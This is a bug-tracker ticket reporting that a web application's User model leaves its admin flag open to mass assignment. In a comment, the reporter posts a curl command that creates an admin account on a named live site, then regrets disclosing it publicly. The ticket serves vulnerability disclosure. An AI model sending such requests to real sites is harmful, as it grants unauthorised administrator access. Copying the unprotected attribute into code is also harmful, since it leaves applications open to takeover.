User#admin not attr_protected
Reported by stevenbristol | March 5th, 2008 @ 05:04 PM
Comments and changes to this ticket
-
stevenbristol March 5th, 2008 @ 05:25 PM
I just created an admin user using:
curl -d "user[login]=hacked&user[admin]=true&user[password]ord&user[password_confirmation]=password&user[email]=hackedfrom@lesseverything.com" http://signalwiki.com/users
-
stevenbristol March 5th, 2008 @ 05:26 PM
After clicking save, I realized I should have emailed that to you instead of posting it here. sorry.
-
Please Login or create a free account to add a new comment.
You can update this ticket by sending an email to from your email client. (help)
Create your profile
Help contribute to this project by taking a few moments to create your personal profile. Create your profile »
